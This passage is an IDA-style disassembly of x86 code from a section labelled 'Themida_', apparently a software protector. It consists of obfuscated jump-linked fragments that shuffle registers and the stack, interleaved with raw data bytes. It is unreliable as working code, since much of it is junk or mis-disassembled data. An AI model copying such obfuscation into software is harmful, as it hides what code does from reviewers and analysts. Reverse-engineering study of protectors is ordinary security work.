		dd 8303E8C1h, 0E0C1FFE8h, 0E2C0E905h, 1C8BFFFFh, 4C48324h
		dd 4C381h, 0C3830000h, 241C8704h, 8124248Bh, 4C6h, 4EC8100h
		dd 89000000h, 58E92404h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568463:				; CODE XREF: Themida_:00566EF0j
		add	ebp, 24446568h
		sub	ebp, 4D0C02A8h
		add	ebp, 0CD1D29D9h
		sub	ecx, 20FB4142h
		add	ecx, ebp
		push	ebp
		mov	ebp, 3AC12550h
		jmp	loc_5720D0
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC830000h, 240C8904h, 0EC815954h, 4, 68242C89h
		dd 1B0Eh, 56240C89h, 0A4127868h, 24348B65h, 4C481h, 69E90000h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5684BB:				; CODE XREF: Themida_:0056A787j
		mov	[esp], ecx
		mov	cl, 0ACh
		shl	cl, 1
		jmp	loc_561051
; ---------------------------------------------------------------------------
		db 81h
		dd 9C0CB4C1h, 243C8B13h, 0E904C483h, 5E53h, 8068B151h
		dd 2E9F2F1h, 66FFFFFEh,	681EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5684EA:				; CODE XREF: Themida_:0056CD7Dj
		pop	esi
		sub	edx, 3A7E0B48h
		sub	edx, ecx
		add	edx, 3A7E0B48h
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	edx, 8C2012Ah
		push	edx
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	edx
		xor	edx, 38AD8546h
		sub	esp, 4
		mov	[esp], edx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		add	ebx, edi
		mov	eax, [ebx]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 48064C97h
		sub	ecx, 48064C93h
		jmp	loc_560B1B
; ---------------------------------------------------------------------------
		dd 95E7814Fh, 0E9527133h, 14E7h, 0AEE9E789h, 2DFFFF98h
		dd 66630ED8h, 69272D5Bh, 0E8017F42h, 42692705h,	3BE3E97Fh
		dd 348B0000h, 4C48324h,	0FF6548E9h, 0F03158FFh,	8324348Bh
		dd 815104C4h, 4ECh, 243C8900h, 4EC81h, 0C890000h, 139DB924h
		dd 0E941451Eh, 7B91h, 0A2C5E958h, 9C500000h, 0FF6514E9h
		dd 0CEE81FFh, 13E3E29h,	5E082474h, 2434FF5Ah, 4C48358h
		dd 2974E953h, 0C5FE0000h, 0EDC0CDFEh, 88526607h, 88DEF6EEh
		dd 0F65A66F5h, 66F580DDh, 8FE9EA28h, 81FFFFBAh,	0FF120CC3h
		dd 7CEB816Eh, 0E965D72Fh, 49ADh
; ---------------------------------------------------------------------------


loc_568604:				; CODE XREF: Themida_:0056AE47j
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	37C8h
		mov	[esp], esi
		jmp	loc_56BF8B
; ---------------------------------------------------------------------------


loc_568618:				; CODE XREF: Themida_:0056CFACj
		push	ebp
		not	dword ptr [esp]
		jmp	loc_562A53
; ---------------------------------------------------------------------------
aUtSN		db 'UT]éÊ­',0
		dd 2C335A00h, 0AB5DE924h, 5E5FFFFFh, 0F7F7874Eh, 0B4CF81D7h
		dd 0E92F2F45h, 69C1h, 9E9C231h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56864B:				; CODE XREF: Themida_:0056DF57j
		mov	[esp], ecx
		mov	ecx, 55039ACh
		add	edi, ecx
		pop	ecx
		add	edi, 50676A52h
		add	edi, esi
		sub	edi, 50676A52h
		push	6E2Ah
		mov	[esp], ecx
		mov	ecx, 55039ACh
		sub	edi, ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 5A1B484Fh
		sub	ebp, 35F07025h
		add	ebp, edi
		add	ebp, 35F07025h
		sub	ebp, 5A1B484Fh
		jmp	loc_568D52
; ---------------------------------------------------------------------------


loc_56869C:				; CODE XREF: Themida_:0056501Bj
		pop	ebx
		sub	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------


loc_5686B6:				; CODE XREF: Themida_:0056EB16j
		pop	ebp
		push	42643B0Bh
		pop	eax
		jmp	loc_5647D3
; ---------------------------------------------------------------------------
		dw 0C8FEh
		dd 8377E9h
		db 0
; ---------------------------------------------------------------------------


loc_5686C9:				; CODE XREF: Themida_:0057183Fj
		not	edx
		jmp	loc_57154F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0B11Eh
; ---------------------------------------------------------------------------


loc_5686D8:				; CODE XREF: Themida_:00569E79j
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 775F3EB0h
		mov	edx, eax
		pop	eax
		sub	edx, 775F3EACh
		add	ecx, 16F905F1h
		jmp	loc_560492
; ---------------------------------------------------------------------------
		db 45h
		dd 7866ED81h, 3EE97553h, 58FFFFF6h, 4EC81h, 3C890000h
		dd 4EC8324h, 24048F54h,	4240483h, 4C7815Fh, 81000000h
		dd 4EFh, 243C8700h, 242C895Ch, 0C581E589h, 4, 0E904EC83h
		dd 0FFFFD067h, 42474FFh, 52243C8Bh, 9BBCE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56874E:				; CODE XREF: Themida_:00571D2Cj
		mov	esi, esp
		jmp	loc_56E3AB
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8904EC83h, 9FB9240Ch, 49705A0Bh, 0C2C18149h,	0C11B7055h
		dd 0F18104E9h, 6696BCD1h, 32DEF81h, 0CF29563Ah,	1CB9E9h
		dd 2434FF00h, 592434FFh, 4C481h, 0C4810000h, 4,	51E28952h
		dd 0BF575655h, 42C830F9h, 0E95FFE89h, 7A8h
; ---------------------------------------------------------------------------


loc_5687A8:				; CODE XREF: Themida_:00567336j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	2EA8h
		mov	[esp], ebp
		mov	ebp, 0FFFFh
		push	ebp
		push	68D9h
		mov	[esp], ecx
		jmp	loc_570A94
; ---------------------------------------------------------------------------


loc_5687D3:				; CODE XREF: Themida_:00561884j
		pop	ebx
		add	eax, 3D103596h
		sub	eax, esi
		sub	eax, 3D103596h
		add	eax, 4A367F33h
		pop	esi
		push	edx
		push	546Bh
		jmp	loc_568DF4
; ---------------------------------------------------------------------------


loc_5687F1:				; CODE XREF: Themida_:00561CB7j
		and	esi, 2B5707F9h
		jmp	loc_56327A
; ---------------------------------------------------------------------------
		dd 53243489h, 0FF7D39E9h, 6DE952FFh
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56880B:				; CODE XREF: Themida_:00561C6Ej
		inc	edi
		shl	edi, 3
		shr	edi, 8
		add	edi, 5682469Dh
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 3D632A1Ah
		add	[esp+4], ecx
		jmp	loc_561976
; ---------------------------------------------------------------------------
		dd 806ACF80h, 49E967F7h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56883F:				; CODE XREF: Themida_:00564607j
		push	ecx
		mov	ecx, 3BA10545h
		push	esi
		mov	esi, 3CF9155Ch
		sub	[esp+0Ch], esi
		jmp	loc_56D5FD
; ---------------------------------------------------------------------------
		dd 0FF6278E9h, 0C7815FFFh, 89C38C7h, 585FFB89h,	4968h
		dd 240C8900h, 24B9h, 52C18100h,	1774663h, 52E981F9h, 1774663h
		dd 685B5919h, 0A4Ch, 6CD6E9h, 74FF5300h, 8F5B0424h, 248B2404h
		dd 4EC8324h, 0E9243489h, 0FFFFB231h, 0B440E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5688AA:				; CODE XREF: Themida_:00566432j
		sub	esp, 4
		jmp	loc_563883
; ---------------------------------------------------------------------------


loc_5688B5:				; CODE XREF: Themida_:0056E988j
		sub	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5738E0
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0E9h
		dd 0FFFF64D4h
; ---------------------------------------------------------------------------


loc_5688C8:				; CODE XREF: Themida_:0056E9C4j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	3EF4h
		mov	[esp], eax
		jmp	loc_566386
; ---------------------------------------------------------------------------


loc_5688DF:				; CODE XREF: Themida_:0057182Aj
		add	ebp, 4
		push	edx
		mov	edx, 2
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], di
		not	word ptr [esp]
		pop	di
		xor	bx, di
		xor	di, bx
		xor	bx, di
		xor	[esp], bx
		jmp	loc_5737FC
; ---------------------------------------------------------------------------


loc_56890E:				; CODE XREF: Themida_:0056DB55j
		pop	edi
		add	esp, 4
		add	esp, 4
		add	ebp, 185204DCh
		add	ebp, ebx
		sub	ebp, 185204DCh
		sub	ebp, 5B351B97h
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		jmp	loc_56A139
; ---------------------------------------------------------------------------


loc_568940:				; CODE XREF: Themida_:00568A1Dj
		sub	eax, 0E98C928Ah
		sub	ebx, eax
		pop	eax
		push	ebx
		dec	dword ptr [esp]
		jmp	loc_572865
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0B9h
		dd 89306114h, 174DE9FDh, 1590000h, 911DE9CFh, 0E9AD0000h
		dd 0FFFF7C42h, 0E95FF901h, 0FFFFD520h, 0C181E901h, 7B930A86h
		dd 4E9815Dh, 0E9000000h, 0FFFFA1C3h, 0E9FFC683h, 258Fh
; ---------------------------------------------------------------------------


loc_568990:				; CODE XREF: Themida_:0056AB53j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cx
		push	13BEh
		mov	[esp], edx
		push	ecx
		jmp	loc_55EF69
; ---------------------------------------------------------------------------
		dd 8004B753h, 0E78029E7h, 3FF7803Fh, 2DF5E9h, 40500h, 0C0830000h
		dd 0CD3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5689C6:				; CODE XREF: Themida_:0055FA0Ej
		mov	[esp], edx
		jmp	loc_5697F8
; ---------------------------------------------------------------------------
		dw 8F58h
		dd 0E95C2404h, 2474h, 0E95366ACh, 4267h
; ---------------------------------------------------------------------------


loc_5689E0:				; CODE XREF: Themida_:00562AE7j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 3DB66C28h
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562A0C
; ---------------------------------------------------------------------------
		db 2Ch
		dd 915CE902h, 77FFFFFFh, 60BFE92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568A12:				; CODE XREF: Themida_:0055F2D0j
		xor	eax, 2CD631C0h
		shl	eax, 3
		shl	eax, 5
		jmp	loc_568940
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835D24h, 240C3304h, 33240C31h, 248B240Ch,	243C8924h
		dd 53AEE9h, 0FFD83000h,	525B2434h, 0FFED73E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568A49:				; CODE XREF: Themida_:00565A26j
		mov	eax, 41BA471Ah
		sub	eax, ebp
		pop	ebp
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 2CB922B3h
		push	ecx
		add	dword ptr [esp], 392E182Eh
		pop	eax
		push	ebx
		mov	ebx, 392E182Eh
		sub	eax, ebx
		jmp	loc_57174B
; ---------------------------------------------------------------------------
aIYs5		db '‰ËYé:5',0
		align 4
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 85E9242Ch
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568AA3:				; CODE XREF: Themida_:0056BAC9j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_560C6B
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2A61C581h, 17E955FCh, 88000014h, 0F65B66FEh,	885366D1h
		dd 88F188CBh, 623EE9DEh, 3C33FFFFh, 89A0E924h, 0EAC1FFFFh
		dd 0F7DAF706h, 0B5E952DAh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568AE7:				; CODE XREF: Themida_:0056CDF2j
		xchg	ecx, [esp]
		pop	esp
		shr	ecx, 2
		jmp	loc_573EE3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 14F6241Ch, 628AE924h, 0E956FFFFh,	0B176h
; ---------------------------------------------------------------------------


loc_568B08:				; CODE XREF: Themida_:00562244j
		push	eax
		mov	eax, 50B111A4h
		jmp	loc_56944C
; ---------------------------------------------------------------------------


loc_568B13:				; CODE XREF: Themida_:00572D61j
		mov	eax, 6F9E165Ch
		shr	eax, 7
		jmp	loc_5692DA
; ---------------------------------------------------------------------------
		dd 964B69B8h, 0E9D8F70Bh, 530h,	81DA295Bh, 0FD143FC2h
		dd 0A1CAE900h, 0D5F60000h, 0E991F580h, 3079h
; ---------------------------------------------------------------------------


loc_568B44:				; CODE XREF: Themida_:0056E3A6j
		mov	[esp], edi
		push	eax
		mov	eax, 33C15505h
		jmp	loc_563DB2
; ---------------------------------------------------------------------------


loc_568B52:				; CODE XREF: Themida_:00564354j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5723AE
; ---------------------------------------------------------------------------
		dd 5024248Bh, 0FF6740E9h, 48F5FFFh, 24248B24h, 750F68h
		dd 0E8C8E900h, 0C981FFFFh, 41DA22D9h, 0FFFFE981h, 0BF57FFFFh
		dd 7FA01CDh, 0E1BB5352h, 0C145BE55h, 0C38104EBh, 0A534F77Ch
		dd 295BDA89h, 0F9315AD7h, 59CB295Fh, 5156C301h,	0B3788568h
		dd 0F1E95925h, 0BDFFFFBAh, 4EBC201Fh, 7FC5E9h, 0EEE95100h
		dd 5F000047h, 0AFE8EE81h, 0DEE91A91h, 8BFFFFF3h, 2C332424h
		dd 242C3124h, 5C242C33h, 0FF9D86E9h, 0C6835AFFh, 1067E904h
		dd 54680000h, 89000075h, 0EC83241Ch, 240C8904h,	6E064CB9h
		dd 0EDE98145h, 684C0576h, 27C6h, 0BB241C89h, 40933ABh
		dd 5036F381h, 0CB810D53h, 3BA23047h, 6528F381h,	0D9295156h
		dd 64E9815Bh, 898EBC78h, 2434FFCBh, 5FB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_568C35:				; CODE XREF: Themida_:0057347Ej
		push	esi
		mov	esi, 3F46A34h
		jmp	loc_56B281
; ---------------------------------------------------------------------------
		dd 4B68525Fh, 5A14B96Ah, 0FFFE8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568C4D:				; CODE XREF: Themida_:005717E6j
		add	ebp, 4
		push	6730h
		mov	[esp], ebp
		jmp	loc_560E8E
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
		dd 8B243C87h, 0CD812424h, 64587563h, 143B850h, 0FE351D37h
		dd 290AD567h, 2DB3E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568C7E:				; CODE XREF: Themida_:00566911j
		push	4
		pop	edi
		add	ecx, edi
		mov	edi, [esp]
		push	6666h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_562567
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0A6D5h, 3323C981h, 0E1C10923h, 0C9BE5606h
		dd 290AC8D7h, 85E95EF1h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568CBF:				; CODE XREF: Themida_:0056458Dj
		sub	al, ch
		jmp	loc_56CB6D
; ---------------------------------------------------------------------------
		dw 483h
		dd 505E0424h, 405E089h,	0E9000000h, 66B8h
; ---------------------------------------------------------------------------


loc_568CD8:				; CODE XREF: Themida_:00565B43j
		xchg	ebx, edx
		jmp	loc_5669D2
; ---------------------------------------------------------------------------
		db 81h
		dd 0A91BD0C6h, 0E9F3018Fh, 5967h, 61EF815Eh, 816CC947h
		dd 35747CC7h, 81C7015Fh, 35747CEFh, 6E54E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568D06:				; CODE XREF: Themida_:0056E973j
		mov	[esp], ecx
		push	edi
		push	2C733195h
		pop	edi
		xor	edi, 2C733191h
		push	edx
		mov	edx, edi
		mov	ecx, edx
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_572730
; ---------------------------------------------------------------------------


loc_568D35:				; CODE XREF: Themida_:0056D64Dj
		inc	eax
		xor	eax, 7DDF7FB3h
		sub	esi, 1E5A16B3h
		add	esi, eax
		add	esi, 1E5A16B3h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_564BB7
; ---------------------------------------------------------------------------


loc_568D52:				; CODE XREF: Themida_:00568697j
		pop	edi
		jmp	loc_561D2A
; ---------------------------------------------------------------------------


loc_568D58:				; CODE XREF: Themida_:0056234Aj
		add	ebp, 4
		jmp	loc_567EB3
; ---------------------------------------------------------------------------
		db 83h
		dd 0C78301EFh, 0FFEF8301h, 4D15B951h, 0CF011911h, 0A4FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_568D79:				; CODE XREF: Themida_:00567B3Aj
		pop	ebp
		add	eax, ecx
		pop	ecx
		and	eax, 4C840D39h
		add	eax, 0FB7BF3D4h
		add	ebx, eax
		pop	eax
		push	edi
		push	2
		jmp	loc_55F577
; ---------------------------------------------------------------------------
		db 64h,	88h, 2
		dd 0FF5D34E9h, 0E9F088FFh, 0FFFFBC89h, 8704C583h, 248B242Ch
		dd 0E9C124h, 840FC00Bh,	0FFFFFAE1h, 31968h, 241C8900h
		dd 47E068h, 242C8900h, 68C0E9h,	0FFF90100h, 685F2434h
		dd 1024h, 0FF768AE9h, 242C8BFFh, 8104C483h, 0BC04246Ch
		dd 1656A47h, 0E9042454h, 317h
; ---------------------------------------------------------------------------


loc_568DF4:				; CODE XREF: Themida_:005687ECj
		mov	[esp], ebx
		mov	ebx, 1B6D62Dh
		mov	edx, ebx
		jmp	loc_569751
; ---------------------------------------------------------------------------


loc_568E03:				; CODE XREF: Themida_:00563E7Ej
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		jmp	loc_563D0A
; ---------------------------------------------------------------------------


loc_568E13:				; CODE XREF: Themida_:0056B33Bj
		push	ecx
		mov	ecx, 17EA4229h
		sub	edx, ecx
		jmp	loc_573CB9
; ---------------------------------------------------------------------------
aNhba		db '­h¡A',0
		align 2
		dw 0BEE9h
		dd 57FFFFECh, 4BFh, 5FFB0100h, 4C381h, 3CE90000h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_568E3F:				; CODE XREF: Themida_:00571975j
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	40000h
		pop	ebp
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 53937039h
		push	edx
		push	ecx
		jmp	loc_567432
; ---------------------------------------------------------------------------
		dd 7C07E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568E8A:				; CODE XREF: Themida_:00571BA5j
		mov	[esp], ebp
		jmp	loc_570578
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 0F83004C4h, 0FF8825E9h, 0F22BBFFh, 0C381360Fh, 15FC3B4Bh
		dd 181BF381h, 0BA520DADh, 782C6789h, 0E9F2814Ah, 8128971Fh
		dd 483399EBh, 0D4EB8175h, 296A3B6Dh, 0D4C381D3h, 816A3B6Dh
		dd 483399C3h, 24148B75h, 4C481h, 0F3810000h, 40DE5DF8h
		dd 0BF968h, 0D3C7E900h,	0DEE9FFFFh
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EF3:				; CODE XREF: Themida_:0056E1BFj
		push	2D01h
		jmp	loc_56610E
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 782D0000h, 0E90F5B62h, 58AFh, 0E2EE815Eh, 4E545A73h
		dd 8107E6C1h, 0CC54AEE6h, 31F6815Ah, 81025F84h,	38247EC2h
		dd 81F22933h, 38247EEAh, 8B525E33h, 0C4832404h,	0BF575A04h
		dd 0F614F4Fh, 3C8BF901h, 4C48124h, 0E9000000h, 3FF3h, 0B95EF589h
		dd 6A7BA62Fh, 507268h, 24348900h, 0B339E4BEh, 0AFC18110h
		dd 167FF66h, 5CBE56F1h,	8172AA60h, 5506F3F6h, 5EF12915h
		dd 81E9295Eh, 0B339E4E9h, 0E9815D10h, 1, 2DE9D1F7h, 1FFFFEAh
		dd 0F1C281C2h, 0E947EC45h, 0FFFF5B31h, 4C481h, 53E90000h
		dd 89000000h, 4832424h,	1C8B0424h, 4C48124h, 52000000h
		dd 0E956E289h, 0FFFFD9FFh, 4BE56h, 0F0290000h, 0E924348Bh
		dd 0FFFFDBF8h, 328C981h, 55411B1Ah, 0FF6A3FE9h,	242C89FFh
		dd 0A0242C81h, 5911E213h, 13A0C181h, 34FF11E2h,	2434FF24h
		dd 6157E95Dh, 0C483FFFFh, 240C8704h, 9ABDE9h, 8BFB3100h
		dd 0C483243Ch, 854BE904h, 3905FFFFh, 51219017h,	318CBB53h
		dd 0EB813B30h, 420E14C3h, 1CD7EB81h, 0EBC15A58h, 0E9DBF703h
		dd 0FFFF9E8Bh, 5324048Bh, 70A6E9h
		db 0
; ---------------------------------------------------------------------------


loc_569041:				; CODE XREF: Themida_:0055FC80j
		add	esp, 4
		sub	ebx, eax
		jmp	loc_56DB64
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 74B3241Ch, 0E9CCB753h, 0FFFF8714h, 3503E8C1h, 66FB46F6h
		dd 0D262D25h, 0A7A6E94Fh, 0DDF6FFFFh, 8CE9C5FEh, 66FFFFADh
		dd 0E924048Bh, 0FFFFEDD0h, 5D5EF289h, 0FF8505E9h, 248B66FFh
		dd 5A3FE924h, 433FFFFh,	24043124h, 5C240433h, 4AB0F66h
		dd 2AE99C24h, 35FFFF5Ah, 5C462B66h, 4244401h, 8124048Bh
		dd 4C4h, 2434FF00h, 98CEE9h, 8EAC000h, 286CEA80h, 148B66D0h
		dd 83E95224h, 29FFFF75h, 9012DD8h, 0FF5B08AAh, 3EE92434h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5690E3:				; CODE XREF: Themida_:0056E9D7j
		pop	esp
		mov	[esp], edx
		push	ebp
		push	8061A74h
		pop	ebp
		jmp	loc_56A097
; ---------------------------------------------------------------------------
		dd offset dword_53D858+510h
		align 4
		dd 88241489h, 5AD488CAh, 8BD5E9h, 0CDE95200h, 5000006Eh
		dd 6A47BCB8h, 24440165h, 94E95808h, 0F7FFFFE7h,	0A3D05D0h
		dd 0B705617Dh, 404C602Ah, 0D5CE835h, 58C501ACh,	0F0E9E801h
		dd 0ADFFFF64h, 12ACE9h,	4EC8100h, 89000000h, 0D4BD242Ch
		dd 513A8D05h, 0FF30CEB9h, 59CD0955h, 3E5C145h, 6FC9BB53h
		dd 0C4E97E32h, 0F7FFFFAAh, 0CE943D3h, 68FFFF9Dh, 202Eh
		dd 68242C89h, 0A3Dh, 7288E954h,	0EC830000h, 24048904h
		dd 82685352h, 8B667D01h, 0ECE9241Ch
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569193:				; CODE XREF: Themida_:005691E8j
		dec	ebp
		not	ebp
		push	ecx
		mov	ecx, 50896FC5h
		sub	ecx, 7EC009DAh
		or	ecx, 60A65E1Eh
		add	ecx, 6EC7DC0Fh
		add	ebp, ecx
		pop	ecx
		xor	ebp, 18BB53D8h
		jmp	loc_572AD6
; ---------------------------------------------------------------------------


loc_5691BC:				; CODE XREF: Themida_:00570612j
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		jmp	loc_573316
; ---------------------------------------------------------------------------
		dd 2118AEBFh, 4EB2E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5691D2:				; CODE XREF: Themida_:00568264j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	7B82h
		mov	[esp], ebp
		mov	ebp, 47FC0832h
		jmp	loc_569193
; ---------------------------------------------------------------------------
aPsx0		db 'PéX0',0
		dw 6800h
		dd 79F2h, 0FFEFE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5691FD:				; CODE XREF: Themida_:00563E74j
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_5629BA
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 3E2C0A3h, 80B3E280h,	0F28022C2h, 0E9DAF64Fh,	0FFFF9D1Dh
		dd 0C106EAC1h, 565205EAh, 0B747E95Ah, 94BBFFFFh, 81339B2Eh
		dd 781FD1EBh, 5EBC154h,	1872EB81h, 0D88906F9h, 0FF8D61E9h
		dd 4EC83FFh, 81242489h,	42404h,	2C8B0000h, 4C48124h, 81000000h
		dd 4C5h, 4BF5700h, 29000000h, 18E95FFDh, 0BB000097h, 3C9C52B3h
		dd 4B05E3C1h, 6FCB8143h, 8171B378h, 15147EEBh, 5BDE01B1h
		dd 37BCEE81h, 0EE810726h, 67DF08E7h, 3CEBE9h, 0E9E82900h
		dd 801Ah
; ---------------------------------------------------------------------------


loc_5692A0:				; CODE XREF: Themida_:00566652j
		pop	ebx
		add	eax, 56800C61h
		sub	eax, ebx
		push	ecx
		mov	ecx, 56800C61h
		jmp	loc_57073C
; ---------------------------------------------------------------------------


loc_5692B3:				; CODE XREF: Themida_:00572D1Ej
		neg	ebx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_561AC9
; ---------------------------------------------------------------------------


loc_5692BE:				; CODE XREF: Themida_:005681D2j
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 0E022E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5692DA:				; CODE XREF: Themida_:00568B1Bj
		dec	eax
		xor	eax, 170F3661h
		dec	eax
		sub	eax, 0DBB8DE75h
		sub	esi, 18C86E56h
		sub	esi, 67B432E4h
		jmp	loc_570FE1
; ---------------------------------------------------------------------------


loc_5692F7:				; CODE XREF: Themida_:0056AD84j
		sub	edx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		push	esi
		push	ebp
		jmp	loc_563C00
; ---------------------------------------------------------------------------
		dd 0C368C601h, 0E9000014h, 2E78h, 88F2C180h, 20E959CCh
		dd 81000042h, 4C4h, 52C32900h, 8904EC83h, 0E0682434h, 5E516344h
		dd 0CDE9F289h, 0FFFFFF5Ch, 348B2434h, 4C48324h,	4C481h
		dd 8F0000h, 179068h, 24148900h,	20B86857h, 9AE95E7Bh, 81FFFFDBh
		dd 2C4h, 44816600h, 0DE10224h, 24448166h, 665D1B02h, 2244481h
		dd 1662D9Eh, 66022444h,	2246C81h, 81662D9Eh, 1B02246Ch
		dd 8668665Dh, 3C896646h, 0E1BF6624h, 7C29660Dh,	5F660424h
		dd 24048B66h, 0E902C483h, 0FFFFAD48h
; ---------------------------------------------------------------------------


loc_5693A8:				; CODE XREF: Themida_:00567AAFj
		mov	edi, 4
		add	esi, edi
		jmp	loc_56E85D
; ---------------------------------------------------------------------------


loc_5693B4:				; CODE XREF: Themida_:00570D44j
		sub	ebp, esi
		mov	esi, ebp
		pop	ebp
		inc	esi
		push	ecx
		mov	ecx, 1AC10783h
		neg	ecx
		not	ecx
		and	ecx, 1DDF3108h
		sub	ecx, 434A2AFCh
		inc	ecx
		add	ecx, 2E32F24h
		xor	esi, ecx
		pop	ecx
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56BDF6
; ---------------------------------------------------------------------------


loc_5693E7:				; CODE XREF: Themida_:00565DAFj
		sub	ebx, 7470FB6h
		add	ebx, edi
		push	esi
		mov	esi, 78D96181h
		add	esi, 8E6DAE35h
		add	ebx, esi
		pop	esi
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_573A82
; ---------------------------------------------------------------------------


loc_56940C:				; CODE XREF: Themida_:0055EF79j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_567473
; ---------------------------------------------------------------------------
		dw 3487h
		dd 89565C24h, 4C681E6h,	81000000h, 4C6h, 24348700h, 24148B5Ch
		dd 8B04C483h, 0E9512404h, 42D6h, 0E924248Bh, 0FFFF5685h
; ---------------------------------------------------------------------------


loc_56944C:				; CODE XREF: Themida_:00568B0Ej
		sub	eax, 1CD706EAh
		add	eax, 0CC25F54Ah
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_566A48
; ---------------------------------------------------------------------------


loc_569465:				; CODE XREF: Themida_:0056CAFAj
		pop	edx
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_562AE4
